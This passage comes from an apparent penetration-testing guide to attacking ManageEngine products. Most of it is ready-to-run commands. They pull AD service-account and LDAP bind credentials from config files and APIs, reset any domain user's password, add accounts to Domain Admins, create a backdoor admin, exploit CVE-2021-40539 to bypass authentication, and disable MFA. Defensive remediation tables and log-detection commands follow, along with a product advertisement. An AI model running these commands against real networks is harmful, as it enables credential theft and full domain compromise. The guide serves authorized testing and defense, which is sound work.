# In many deployments this account has Domain Admin rights
# Locate the service account credentials in the configuration

# Configuration file location (Windows)
type "C:\ManageEngine\ADManager Plus\conf\adsettings.conf"
# Look for: DOMAIN_CONTROLLER, SERVICE_ACCOUNT_NAME, SERVICE_ACCOUNT_PASSWORD

# The password is stored obfuscated — use ManageEngine's own decryption
# Alternatively, extract via the web UI with admin access:
curl -sk -b admin_session.txt \
  "http://TARGET:8080/api/organization/domain" \
  -H "Accept: application/json" | python3 -m json.tool | grep -i "password\|credential\|secret"

# With ADManager Plus admin access, enumerate all domain users
curl -sk "http://TARGET:8080/api/user/getAllUsers?AUTHTOKEN=$APIKEY&domainName=corp.local" \
  | python3 -m json.tool

# Reset any AD user's password via ADManager Plus API (no AD admin needed separately)
curl -sk -X POST "http://TARGET:8080/api/user/resetPassword" \
  -H "AUTHTOKEN: $APIKEY" \
  -H "Content-Type: application/json" \
  -d '{"logonname":"targetuser","newpassword":"P@ssw0rd123!","domainname":"corp.local"}' \
  | python3 -m json.tool

# Add a user to Domain Admins group via ADManager Plus
curl -sk -X POST "http://TARGET:8080/api/group/addMember" \
  -H "AUTHTOKEN: $APIKEY" \
  -H "Content-Type: application/json" \
  -d '{"groupdn":"CN=Domain Admins,CN=Users,DC=corp,DC=local",
       "memberdn":"CN=targetuser,CN=Users,DC=corp,DC=local",
       "domainname":"corp.local"}' \
  | python3 -m json.tool

# Create a new AD user with arbitrary group membership
curl -sk -X POST "http://TARGET:8080/api/user/createUser" \
  -H "AUTHTOKEN: $APIKEY" \
  -H "Content-Type: application/json" \
  -d '{"firstname":"Backup","lastname":"Admin",
       "logonname":"backupadm","password":"B4ckup@dm1n!",
       "domainname":"corp.local",
       "groups":["CN=Domain Admins,CN=Users,DC=corp,DC=local"]}' \
  | python3 -m json.tool

ADSelfService Plus: MFA Bypass

# ADSelfService Plus allows users to reset their own AD passwords after MFA verification
# The MFA enforcement relies on the portal — bypass enables password reset for any account

# CVE-2021-40539: ADSelfService Plus pre-auth REST API bypass (CVSS 9.8)
# Affects builds prior to 6114 — allows bypassing authentication entirely
curl -sk -X GET \
  "http://TARGET:8888/./RestAPI/LogonCustomization" \
  -H "Accept: application/json"
# The /. path normalization bypasses servlet filter authentication checks

# With access, modify MFA configuration to disable for target accounts
curl -sk -X POST "http://TARGET:8888/RestAPI/ADSelfService" \
  -H "Accept: application/json" \
  -d "methodToCall=disableMFA&username=targetuser&domainname=corp.local" \
  | python3 -m json.tool

# Extract LDAP bind credentials used by ADSelfService Plus
type "C:\ManageEngine\ADSelfService Plus\conf\adsettings.conf" 2>nul
# or
cat /opt/manageengine/adselfservice/conf/adsettings.conf 2>/dev/null

# ADSelfService Plus stores bind credentials — extract via admin API
curl -sk -b admin_session.txt \
  "http://TARGET:8888/api/domainSettings" \
  -H "Accept: application/json" | python3 -m json.tool | grep -i "password\|binddn"

LDAP Bind Credential Extraction

# All ManageEngine products that integrate with AD store LDAP bind credentials
# These are often a service account with broad read access across the directory

# Common configuration file locations containing LDAP credentials
$ME_PRODUCTS = @(
    "C:\ManageEngine\ServiceDesk",
    "C:\ManageEngine\ADManager Plus",
    "C:\ManageEngine\ADSelfService Plus",
    "C:\ManageEngine\ADAudit Plus",
    "C:\ManageEngine\PAM360"
)

foreach ($PROD in $ME_PRODUCTS) {
    Get-ChildItem "$PROD\conf\" -Recurse -Include "*.conf","*.xml","*.properties" \
        -ErrorAction SilentlyContinue |
    Select-String -Pattern "password|binddn|ldap|activedirectory" -SimpleMatch |
    Where-Object { $_.Line -notmatch "#" } |
    Select-Object Path, LineNumber, Line
}

# Linux equivalent
for CONF_DIR in /opt/manageengine/*/conf/; do
    echo "=== $CONF_DIR ==="
    grep -r -i "password\|binddn\|ldap\|activedirectory" "$CONF_DIR" \
        --include="*.conf" --include="*.xml" --include="*.properties" 2>/dev/null \
        | grep -v "^Binary"
done

Automate ManageEngine Security Testing

Ironimo's automated scanning engine runs nuclei CVE templates, default credential checks, and API endpoint enumeration across ManageEngine products — identifying CVE-2022-47966 exposure, open admin consoles, and default credentials before attackers do.

Start free scan

Defense Recommendations

FindingRiskRemediation
CVE-2022-47966 — SAML bypass RCECriticalApply ManageEngine security patches immediately (product-specific build numbers published in advisory). If SAML SSO is not in use, disable the SAML configuration entirely via the Authentication settings page. If SAML is required, verify the patched build is installed before re-enabling.
CVE-2021-44077 — ServiceDesk Plus unauthenticated file uploadCriticalUpgrade ServiceDesk Plus to build 11306 or later. Block external access to /RestAPI/ImportTechnicians at the WAF or reverse proxy level as an interim control. Audit web root for uploaded JSP files.
CVE-2022-35405 — PAM360 / PMP XMLRPC deserializationCriticalUpgrade PAM360 to build 5500+ and Password Manager Pro to build 12101+. The ExportImport API endpoint should be restricted to management VLAN IPs only via firewall rules.
Default administrator credentials unchangedCriticalChange default passwords on all ManageEngine products immediately post-installation. Enable MFA for all admin accounts. Enforce a minimum password policy through ManageEngine's password policy settings.
ManageEngine products exposed directly to the internetHighPlace all ManageEngine consoles behind a VPN or Zero Trust access gateway. These products should never be directly internet-accessible. If remote access is required, enforce certificate-based MFA at the application layer.
ADManager Plus configured with Domain Admin service accountHighCreate a dedicated service account with only the minimum AD permissions required. Use Microsoft's "tiered administration" model — ADManager Plus should not hold Domain Admin rights in most configurations.
Embedded PostgreSQL accessible without passwordHighConfigure a strong superuser password on the embedded PostgreSQL instance. Bind pgsql to 127.0.0.1 only. Restrict OS-level access to the ManageEngine installation directory to the service account only.
API keys long-lived and not rotatedMediumImplement API key rotation policy (90-day maximum lifetime). Audit all issued API keys via admin console. Remove API keys for deprovisioned users immediately. Enable API access logging.
Backup files containing credential databases accessibleHighMove backup archives off the ManageEngine server to a separate, access-controlled backup storage system immediately after creation. Encrypt backup archives. Restrict backup directory ACLs to the service account and backup operators only.
SAML SSO enabled but not in active useHighDisable unused authentication methods. If SAML was ever enabled and the product is unpatched, treat the environment as potentially compromised and perform an incident response assessment before patching.

Detection — Identifying ManageEngine Exploitation

# CVE-2022-47966 detection — look for SAML responses with self-signed certs
# ManageEngine application log (Windows):
# C:\ManageEngine\ServiceDesk\logs\access_log.txt
# Look for POST requests to SamlResponseServlet from unexpected source IPs

# Parse access logs for SAML exploitation attempts
grep "SamlResponseServlet" \
  "C:\ManageEngine\ServiceDesk\logs\access_log.txt" | \
  grep "POST" | awk '{print $1, $7, $9}'

# CVE-2021-44077 detection — unauthorized file uploads
# Check for unexpected JSP files in the web root
find "C:\ManageEngine\ServiceDesk\webapps\ROOT\" -name "*.jsp" \
  -newer "C:\ManageEngine\ServiceDesk\webapps\ROOT\index.jsp" 2>/dev/null

# Linux equivalent
find /opt/manageengine/servicedesk/webapps/ROOT/ -name "*.jsp" \
  -newer /opt/manageengine/servicedesk/webapps/ROOT/index.jsp 2>/dev/null

# Check for access to the ImportTechnicians endpoint
grep "ImportTechnicians" \
  /opt/manageengine/servicedesk/logs/access_log.txt | grep "POST"

# PAM360 — detect bulk credential export attempts
grep "ExportImport\|/api/pam/Account.*LIST" \
  /opt/manageengine/pam360/logs/access_log.txt | \
  grep -v "127.0.0.1\|MANAGEMENT_IP"

# Detect new admin account creation (indicator of persistence)
# ServiceDesk Plus admin audit log
curl -sk -b admin_session.txt \
  "http://TARGET:8080/api/v3/audit?category=UserManagement" \
  -H "APIKEY: $APIKEY" | python3 -m json.tool | \
  grep -i "admin\|created\|added" | tail -20

# SIEM correlation — Splunk SPL for ManageEngine exploitation
# index=webserver sourcetype=access_combined
#   (uri="/SamlResponseServlet" method=POST)
#   OR (uri="/RestAPI/ImportTechnicians" method=POST)
#   OR (uri="/api/pam/ExportImport" method=POST)
# | stats count by src_ip, uri, http_response_code
# | where count > 2

Summary

ManageEngine products present an unusually high-value attack surface precisely because of their role in enterprise IT: they hold the keys to everything. CVE-2022-47966 is the defining vulnerability of the ManageEngine ecosystem — affecting 24 products simultaneously and requiring only that SAML SSO was ever configured, it represents one of the most impactful single CVEs ever disclosed against an enterprise software suite. Combine this with the pattern of default credentials, predictable embedded database locations, and AD integration using over-privileged service accounts, and a single ManageEngine deployment represents a potential path to full domain compromise.

For authorized assessments: begin with an nmap sweep across the full ManageEngine port range (7272, 8020, 8060, 8080, 8081, 8082, 8282, 8383, 8400, 8443, 8444, 8888, 9090); fingerprint product and build version from the login page and version API endpoints; check for SAML SSO configuration before attempting CVE-2022-47966; test default credentials in parallel; and if access is gained to PAM360 or Password Manager Pro, prioritize bulk credential export before any other post-exploitation activity. The embedded PostgreSQL instance is almost always accessible from the service account context provided by a webshell and contains a full plaintext (or easily decryptable) credential database that typically includes every privileged account in the environment.